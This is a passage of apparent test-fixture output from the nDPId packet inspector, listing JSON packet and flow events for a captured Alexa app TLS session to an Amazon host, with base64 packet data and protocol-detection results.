m79Jq0y47YJqxj3QlMpa+O6UO4tYIbTjdtFtpoloYWx0K3f\/ey0i949h3\/WaTNsTbLBQiktDpJtb2NBuiukMTf4GRsmci3kX29\/083wrYiYjjkL8m7JHIcQny3YhQ8ACnxmWLEuXI7dO4Z51SJaRW+aHKACQnr3bK7ZkoHrjpL4muNQGDH9MjNPx7zaZ9pUgqPRwyY335Y\/o+5LBY7CLOsgQbOXw6Rd8bC6IeXvxHLpWbJn6eU3Xy4C5bZ7m1kRkxe6NBKhJSneNUTwsXkLZbH2YU0XCyUISYAM3n9OFeryoZoQlI0b2iFWcOjRgCYIAUY\/hbvGXT57C\/HZPiniljjsJNufM1dWOFnGrSpfWSu7p6Gf9VYNGt2bNFZJzvRe1jooMED4+1HVlHaGFss7sn4x7KQTi1jEWb8LtUGV\/yeVy6ukFf3tBDi1fIHQXXB+d9+XW6c6VYKiQp2ILjdHsZfWTR5JccJSkr5p8i6o+EtIeroB47hPwXZ8srW94eb10\/OVcSrV1IFuvsuahmsPoKmsCeSl4Y4kBuweFeZg3hCMW+lRrt3oawzBYMjmVZFbjiaD8dGcBzJNYJMTDec2Xgf2VEYooIgiL\/XxJ\/eh7yuh5wECi6jUlk2w6fvgA+NZ3pZxzTia3fd7E5uamqRVRMBQiSW7dV0o+Gbn5BJKCIYeubCHkcrRJu5uw99aFk+3c96It0XGwTAAX1taH24CoBpFcwRgvOEP\/VeqxBvvaqSd+R8pg+Ks1tDvZc20vgzCFn2UfAtme24J9WXYTVlrc+NQ4K7kBxy+XAOcJPgiXUVaszYQaL0HsXG0z\/k15HzU1lopjyVRa1K5fQnp0KSVaQUvPNOKohzGppNL\/Wcdn1knSTB\/L9qKo03HB\/KjSbltr7nD26j6rXZI1bgLhzI5FcS5p0RGHoQQ0fcmK\/FkZ9+EJQO1sy\/Y4YrVTj0shS1ocsHjBFh5dPEwZdwM2mHkibajPfosoeK2ltMlqsescpdllZ0yDN5qdQRW1lPJM7+tKVH0n0p9lLpItEOTcuMK6Wkq3gvLDMkXrXfHW8LDM6H2NZ8YbYLPqOUi3WWaoYcZgM40vgEXTbcy8Oq\/8P+BXLw7swwkV5nrH6lB7vb\/gC0hz7f1\/8sQUYZc\/zFUDwH5J1LMc2UfoSzXy+ixpTkXVA69ypYa\/IEfo5mNM0oMjIzB8CG1CsQxPnePNZNndM5Nt5XgYgRCcSUa9X82wwJjzpoQaCwqEue6dIn0Dbzm6MI7mjVvKi4lzuuGITHs3PPdrnMVgahtEi7Uj6dSCDYOn9vDebYxAVeCCpyMy30TzArFnwortiuHFnzh58Zm3ehtMcO3u6TFkrocZE5+8lgYPZ3+LVrGPPBQhNOMyi52DpdVbn1JMtQ3JAu1QopheZB\/UKrOuAz0ssjz9CGDHyyZ6pEThrNjTy62u24sSHdXMP2V8yuOIys7Z6kWZfEqFiBRiej2xdz1\/J6vhnMjK5Kq\/CCXWjiHuySdWXIrHYNKIGxMVbe5pKkNgTGZWWD3ONG450XVgYMSb+C5TtUYOrQDUcHHroP7avxU5IMZh3wD0DNFkEJsX2Vva9jZ3A6Rl7571sdC1NbSwO8tUkbRI2PBt2AvFtwUVRzfgpaeh6VsKQHy8Fsa7Y3t6BUPT184b3mvDr2p0cHML6KKM="} +02404{"flow_id":56,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":745,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976048,"pkt_ts_usec":280895,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcy+lAAEAGe62sECrYSBXOh6SfAbuD+JwmurVF\/VAQAVvFiwAAFwMDB8gAAAAAAAAAATCnAGyWbYtohtkp4wTfcanLLNGhIn7G3xnJcvyZDEGwWRXqtpZOdaVhnA2S80B2K1RJTSQ7cMfzx\/GI8ANh2A9AWgaowQfXhqbOAuR+45bIUpXKksqJXD8pPrCr3F5EiRDQB4HaApHutaHCNh8VBOJ\/MFhXimCvUih9xM58ITgOKYcVYoDcfwx1dixpMiD\/Ovaw77ZXZrIwMXzKtItzYBy8HBwB0JBGXElsaVHafscwT6ieptIjfQ92eZrFtZzmZJYKBFirjh4yEoKUDyCTm+\/CXHQLDbP8+VlKwH+a409W9zIEuXjHeGyDVhV9AvBGQQAyeWftjsuEFSH8D2TMf60t75wal4feiP4ihuLO5V+CXF94obJJOqHe+GqcoDdptDgkUiHg\/0vW6rxPwuxM49vAp+sFIhEF+Ctx37BggASF5ecr0lVVYx+2xiL5VLTWHy50CpD1vihGZTcgWLU1ViQQN0rp2TfV2s+Y3qW4L\/JrKHWGzux3YiR7zc7mkWbjtq8yLBXbwym8BZ49LsXHJJaJ9d\/aqWA6piURSVscwhY2N6T6ZcHmyi0NekZJyKMTcQvLhDXas79DcACjUFajKk39aLVq8hRd3XJU\/OMtgBjL0yaizFQoufZtSFHCUiHv4pUzCuZZfLmxrFGEoD85iByuvr1bnskaR38uwuR5ksk8CM+HCNNINo7N7GmuJMCYSshcZjY6gtveyJ5YUgOe\/Av\/aiMYYLe3ku\/CNe9om38wTQQKFLCwOvRG+z3lUuMJT9\/6swtMx8yFPK8enFiHYi\/s5cJ+c45LqHywkHcCSgho3gJwThyDoqbMF+yC8AI9GtiPNV4ZiaoBnp\/EDeDFkWk6Y\/TiR7uNhWcGXw5SLZwV3Qf4GqSfhJG9s02upC1BrEq6wa8H8ydnPf4PMaSYTTdHrRNTOw8y25O8euPAIE9PW\/keJRfss10USLm9Uz5S4CF3lW5FG\/M\/RbkQ2aS7tVP9oNvv6sOYwINoOjumJdYhaqUQhP5XvGV3a+pb+8nS9+4S52d\/qj0OAro\/ZThfoEoyfc1osE92uud4grsLdT3E5Sw6jrUKnxxBfnIAOXlLwgEK3FT1vZ4pC+sul3xSm540aSLgkce2IkvnIJHgeY3WGfP74HYppJLD+R5muR8wDhXXtLh4Ezjn9Mta6z5zcrJ5\/Rb5gjWTE7rEhEtyuXS0zwN5dYw\/lWYz7GtwkKtJKamScVime29n4Dse8+aIAQkwQ7q+Sx7f92CM2isIYIlPhXmEtDl4EVaiKQfM9pp3OYMf432w3bprdOM3HifSOQCEQ98ZkeOjIL45u5GZ+uLWI40GZzPIc\/JaCwDz8Hd876+c650CyFI7BnZB4+JM9vvnupeEtq9MrZ8j8Og7DkUuiHGiWacak36lJIz5JHX4pfp1upfiK4HrPjTt+sXjzyA8FN\/KZ2J\/jRzeu119ug8974\/ofOeQFxTdZo33gJyCSRlkYsdct+0e\/v8RFAZII5rljR2D+hHLiGI8SByaUnT7b7kVZL0NXMZ6hA48bhlsmVyMwo3k62QkucqeMNnomerg4Ud6myyyqwPg8WVj+MwadyaIK6L\/lBTuOiCD1651CVziNfC\/ioSzDpilrBU7dKwF56300euYtdw84EumQgwmUUmWa6t8BDD7PVfuOErP9tIeY7r93YFqJaKl1W7Lq43TI1eAN8kdGk\/x2sX9t3o5o7YUFl0PN0qsCSEhyGLfCIfALE+RyPRwaiN\/pEesf65d5VbUZKgQ0bkON9iAmMg\/kFzCzuEJAmfC9w0KgEdUZa0ZPD37xJaRBubm9zhlSUvNNeFi2zwGfxx7OjaTW7KZktmhJjpSfY7fjjdVwFuTQCLttLXpn9i3IxDTdXRL\/14EIhNdsfv2fyq1ymnQ1+w61Jums\/IX98GIXSCyuunjRlEN+6rSBcw="} +00445{"flow_id":31,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":756,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976048,"pkt_ts_usec":429947,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8G7FAAEAGvmisECrYCsl+8Z0IH5CvoFXQAAAAAKAC\/\/\/TIQAAAgQFtAQCCAoA9lE7AAAAAAEDAwg="} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":757,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976048,"pkt_ts_usec":620673,"pkt_caplen":60,"pkt_type":35085,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AMDKkaPvePiC0\/vCiQ0CDAoBZRIAwMqRdPh4+ILT+8IAwMqRo+\/dFACgxgAAAAAAAAAAAAAAAAAAAAAA"} +00163{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":757,"source":"alexa-app.pcapng","alias":"nDPId-test","type":35085} +00444{"flow_id":40,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":758,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976048,"pkt_ts_usec":689871,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8WzVAAEAGfuSsECrYCsl+8Z0KH5BhrRWqAAAAAKAC\/\/9hHwAAAgQFtAQCCAoA9lFVAAAAAAEDAwg="} +00415{"flow_id":54,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":763,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976048,"pkt_ts_usec":863911,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoQ41AAEAGA3asECrYNF7ohrJzAbuRhBRe6ucB81ARAVdzwwAA"} +00424{"flow_id":54,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":776,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976048,"pkt_ts_usec":926772,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoWpFAAOcGRXE0XuiGrBAq2AG7snPq5wHzkYQUX1ARf\/f1IQAAAAAAAAAA"} +00415{"flow_id":54,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":778,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976048,"pkt_ts_usec":927819,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoQ45AAEAGA3WsECrYNF7ohrJzAbuRhBRf6ucB9FAQAVdzwgAA"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":780,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1490976054009,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45687,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":780,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976054,"pkt_ts_usec":9715,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8L1JAAEAGF52sECrYNF7ohrJ3AbtDNXw1AAAAAKAC\/\/+MNwAAAgQFtAQCCAoA9lNnAAAAAAEDAwg="} +00426{"flow_id":58,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":781,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976054,"pkt_ts_usec":70557,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwt0ZAAOcG6LM0XuiGrBAq2AG7snc6VHcpQzV8NnASH\/5LIgAAAgQFtAEDAwY="} +00413{"flow_id":58,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":782,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976054,"pkt_ts_usec":71611,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoL1NAAEAGF7CsECrYNF7ohrJ3AbtDNXw2OlR3KlAQAVeVkwAA"} +00738{"flow_id":58,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":783,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976054,"pkt_ts_usec":72460,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXL1RAAEAGFsCsECrYNF7ohrJ3AbtDNXw2OlR3KlAYAVd6FAAAFgMBAOoBAADmAwPBrmY0NdI\/E4D2qVtO38be10HD8gGTXfDLQBOZkXF05iCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgysrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9amoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACKqqAB0AFwAYOjoAAQA="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":783,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":58,"flow_packet_id":4,"flow_first_seen":1490976054009,"flow_last_seen":1490976054072,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45687,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00423{"flow_id":58,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":784,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976054,"pkt_ts_usec":168161,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAopJ1AAOcG+2Q0XuiGrBAq2AG7snc6VHcqQzV9JVAQf\/gWAwAAAAAAAAAA"} +00534{"flow_id":58,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":785,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976054,"pkt_ts_usec":168300,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9pJ9AAOcG+w00XuiGrBAq2AG7snc6VHcqQzV9JVAYf\/iO8gAAFgMBAEoCAABGAwFY3n02pkfhRwxBuUracjcXGcG8ABcBgmQTmuIOOTaqxiCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00851{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":785,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":58,"flow_packet_id":6,"flow_first_seen":1490976054009,"flow_last_seen":1490976054168,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45687,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00491{"flow_id":58,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":786,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976054,"pkt_ts_usec":168397,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdpKxAAOcG+yA0XuiGrBAq2AG7snc6VHd\/QzV9JVAYf\/gC9QAAFgMBADBYgJOSAG3KoN5t3OUr36PqwqfhVZjAlZL1ZW1YvCcO85\/UenkepVu7W6vQ7zsoOfE="} +00414{"flow_id":58,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":787,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976054,"pkt_ts_usec":169775,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoL1VAAEAGF66sECrYNF7ohrJ3AbtDNX0lOlR3f1AQAVeUTwAA"} +00414{"flow_id":58,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":788,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976054,"pkt_ts_usec":170745,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoL1ZAAEAGF62sECrYNF7ohrJ3AbtDNX0lOlR3tFAQAVeUGgAA"} +00497{"flow_id":58,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":789,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976054,"pkt_ts_usec":171354,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjL1dAAEAGF3GsECrYNF7ohrJ3AbtDNX0lOlR3tFAYAVc3VQAAFAMBAAEBFgMBADCxr01zO2Fx9UJUQnT8DkKeVk5gH1Yrd8BiHPS7uh5uoGwkFWKgnuvFMo4PxN+b10U="} +01972{"flow_id":58,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":790,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976054,"pkt_ts_usec":185389,"pkt_caplen":1200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1200,"pkt_l4_len":1166,"pkt":"AMDKkaPvePiC0\/vCCABFAASiL1hAAEAGEzGsECrYNF7ohrJ3AbtDNX1gOlR3tFAYAVdhDgAAFwMBACD3FLSKdQ\/+XX5awn7++AnVU6xJmoAF\/7g8XlgeCL3QrRcDAQRQ4UO96npQFzRFhjeiTHtHDG50Ual5ipWVuA+IzEiZemz9nQnbKIHcaxvuNl+N8Ze50eCsaR3cqgcXM27cfr9UJrrzm1NETgwhcRgv2\/UjTCEpYgeU+xJlCrXcw7C9FV65x8TptxLxxsONjQgmOaSxSzAq4DL\/I1ESDGqdmY1y3tQFGN5QD7eh0PxYbaiwj\/zF2EMlQtF4x5lbaYVz2YhU2PjkFQf6uPJSiNpaLTFcKjEQeCWFqsmO3rKpCxD+3qgoUooO3V59pNi1WFsQmYHJ5mzq7870TqX4pVuEprjImLe9Zs7\/i9WaVvVVvg\/NvRX7\/0SKAxx8HzHZzbFjt+6ewjLVcoet7wzxEj\/4CawU9wy2Q7KGD32FaV\/RrGNEpAB+FYIMTRNi7Ce1DkyRnYw6S1wMzAwjAuIxEMgcxlvla1VjCwqowcSkWY\/HD0NPOXcTN0mj7SZKN8YyHdIPLaYu10+b9QxFQZIt6G4W2j8PRSEFDu7RWhrrgvM5EcJcD43JLrV1W8EJnaCs9J9eE+vFpllKjTupJZLrk0NkFmafnQk73RWuSy6\/cxC1Cxf91V7fy2g8Dl90989+vW0PYx8iCYRRoN\/zF1b5+mPg6oibx0QQBpzh9IJhoWpLHZhG3gQaVamTEQT8fUWzczfRI8yHCNfLLzhmeRIu9suxsrgkIgbcqqAu3HdpvM73h4uFK0hWaxXJ9\/pINUFtClcbhyXNBXS28Hb+\/s39skTAGqz7MszK+4hYMkslwSWywcxC51+A1w+cvR8dqealfziZsqczNOLtD314ZCzx7RIkdQD52phBnh6AZB10f2c782KcVtDUgVG1CElr3jyRtkeozvPKJQ3dkqB2Q+vttdnWF22tWjop17\/\/Jh6p6o5yZTmfIQhzmeh3SgdA0KU7UmX8qYHISwQ8EcZ4DCmhxG748T0Ot5Fb7Sr5XnQnWOV0sUOn2stWl\/qLBGj2KXyN2s3by9rqJmfscu5viQvrKaZg34Eo5yM+IarO0iPYdW3GZEKB1ruNDsD49nEnML3Bp9huAvXTkM8XRkVnw2a4rt36a2PP6QXY5vHrAO1OboiY3ItQAcaotv62mhM3tSYLs8Wa6cf\/1XezPZUvMoEbAJy04t28PEmUekcD8ZCPsvSEJk8BjpexMhb1JuiZgRTpcpBRJlidwzvAdDzkpnWz4\/A+xZNq2xckJcB\/eQFZZKjodJe1GNEwj8oM28tFqhTPgPu2ZgaKNUGb2NGo\/MjWaEMwkaCPiOPN6qdwmFG8wNFHeiBMwEOB1UnO82mI8h3jQmABnvm4S\/grylNQ2cLCCpUA4RDj4VG5lTGXWeQK7klB+zUeIHUar4kZ4IIN85VdCdOFe27N+gLscUz9Z6SLnoR15oeHnAkmRXDAWS9RUomE87beC+rz54dLMjY7cYAo6ymUvv8bb05P6n5XuwgUlQ4BuKZZCPyXlvw3WAGtpkrhB4bZYG0e"} +00424{"flow_id":58,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":791,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976054,"pkt_ts_usec":239915,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAorLhAAOcG80k0XuiGrBAq2AG7snc6VHe0QzV9YFAQf\/cVPwAAAAAAAAAA"} +01972{"flow_id":58,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":792,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976054,"pkt_ts_usec":540107,"pkt_caplen":1200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1200,"pkt_l4_len":1166,"pkt":"AMDKkaPvePiC0\/vCCABFAASiL1lAAEAGEzCsECrYNF7ohrJ3AbtDNX1gOlR3tFAYAVdhDgAAFwMBACD3FLSKdQ\/+XX5awn7++AnVU6xJmoAF\/7g8XlgeCL3QrRcDAQRQ4UO96npQFzRFhjeiTHtHDG50Ual5ipWVuA+IzEiZemz9nQnbKIHcaxvuNl+N8Ze50eCsaR3cqgcXM27cfr9UJrrzm1NETgwhcRgv2\/UjTCEpYgeU+xJlCrXcw7C9FV65x8TptxLxxsONjQgmOaSxSzAq4DL\/I1ESDGqdmY1y3tQFGN5QD7eh0PxYbaiwj\/zF2EMlQtF4x5lbaYVz2YhU2PjkFQf6uPJSiNpaLTFcKjEQeCWFqsmO3rKpCxD+3qgoUooO3V59pNi1WFsQmYHJ5mzq7870TqX4pVuEprjImLe9Zs7\/i9WaVvVVvg\/NvRX7\/0SKAxx8HzHZzbFjt+6ewjLVcoet7wzxEj\/4CawU9wy2Q7KGD32FaV\/RrGNEpAB+FYIMTRNi7Ce1DkyRnYw6S1wMzAwjAuIxEMgcxlvla1VjCwqowcSkWY\/HD0NPOXcTN0mj7SZKN8YyHdIPLaYu10+b9QxFQZIt6G4W2j8PRSEFDu7RWhrrgvM5EcJcD43JLrV1W8EJnaCs9J9eE+vFpllKjTupJZLrk0NkFmafnQk73RWuSy6\/cxC1Cxf91V7fy2g8Dl90989+vW0PYx8iCYRRoN\/zF1b5+mPg6oibx0QQBpzh9IJhoWpLHZhG3gQaVamTEQT8fUWzczfRI8yHCNfLLzhmeRIu9suxsrgkIgbcqqAu3HdpvM73h4uFK0hWaxXJ9\/pINUFtClcbhyXNBXS28Hb+\/s39skTAGqz7MszK+4hYMkslwSWywcxC51+A1w+cvR8dqealfziZsqczNOLtD314ZCzx7RIkdQD52phBnh6AZB10f2c782KcVtDUgVG1CElr3jyRtkeozvPKJQ3dkqB2Q+vttdnWF22tWjop17\/\/Jh6p6o5yZTmfIQhzmeh3SgdA0KU7UmX8qYHISwQ8EcZ4DCmhxG748T0Ot5Fb7Sr5XnQnWOV0sUOn2stWl\/qLBGj2KXyN2s3by9rqJmfscu5viQvrKaZg34Eo5yM+IarO0iPYdW3GZEKB1ruNDsD49nEnML3Bp9huAvXTkM8XRkVnw2a4rt36a2PP6QXY5vHrAO1OboiY3ItQAcaotv62mhM3tSYLs8Wa6cf\/1XezPZUvMoEbAJy04t28PEmUekcD8ZCPsvSEJk8BjpexMhb1JuiZgRTpcpBRJlidwzvAdDzkpnWz4\/A+xZNq2xckJcB\/eQFZZKjodJe1GNEwj8oM28tFqhTPgPu2ZgaKNUGb2NGo\/MjWaEMwkaCPiOPN6qdwmFG8wNFHeiBMwEOB1UnO82mI8h3jQmABnvm4S\/grylNQ2cLCCpUA4RDj4VG5lTGXWeQK7klB+zUeIHUar4kZ4IIN85VdCdOFe27N+gLscUz9Z6SLnoR15oeHnAkmRXDAWS9RUomE87beC+rz54dLMjY7cYAo6ymUvv8bb05P6n5XuwgUlQ4BuKZZCPyXlvw3WAGtpkrhB4bZYG0e"} +00423{"flow_id":58,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":793,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976054,"pkt_ts_usec":603797,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAor35AAOcG8IM0XuiGrBAq2AG7snc6VHe0QzWB2lAQf+UQ1wAAAAAAAAAA"} +01549{"flow_id":58,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":794,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976054,"pkt_ts_usec":603947,"pkt_caplen":891,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":891,"pkt_l4_len":857,"pkt":"ePiC0\/vCAMDKkVoBCABFAANtr8RAAOcG7Pg0XuiGrBAq2AG7snc6VHe0QzWB2lAY\/bj1VQAAFwMBA0CN4zxSn0WIgp6zpKQTw\/5cuGdz1hOBqjj+LWRIldo3mKsOyrwFLnLO+Abh8yv2mP5l3YNhPLeJ7ODo2LfypYcprJGQH8CRK\/cE1ab7x1aXidA6DUtSD2U91q2UyIRcqdgA19xo4uW8np840YTsacHk\/T2BUMf7nMDMEtx13qx2+vkXi524ymE58iN1H+f7Ii5Xs4LeujqRomq\/MlTxMO5rI0ID9EQQXgY05Xp6Zw8AfbaQFYhRFxwo0o1h8z54\/sbTlv6eeznXet3XkKDJRdErINEYvC4ydcetxCrxZVHbE1rQTvABclKPq6PI99Ylx8HVLPMFqjgytk\/yYNgG0Zn3fZ6ayS8pTEx9nuXs7s65OPsFx11xFT1A5PUm3N2Et8tQqBheJS23J9oNoXamqTNw6Mgm97WL7ntb9NcKbM3loiJv2jfYg1lb+fUQ2OQaiaiksgyp7sUAteV7eSwx6ps7bk2zU0xtYNoaIiZelAfw9CCcn6leX5kR6HjWq2kT2am9YSHzcE\/kMqG6LNoJKqH97SqoaLxwhJ1d8EoUTm2OT+QY4wMqdu7vfNJ0VNJGW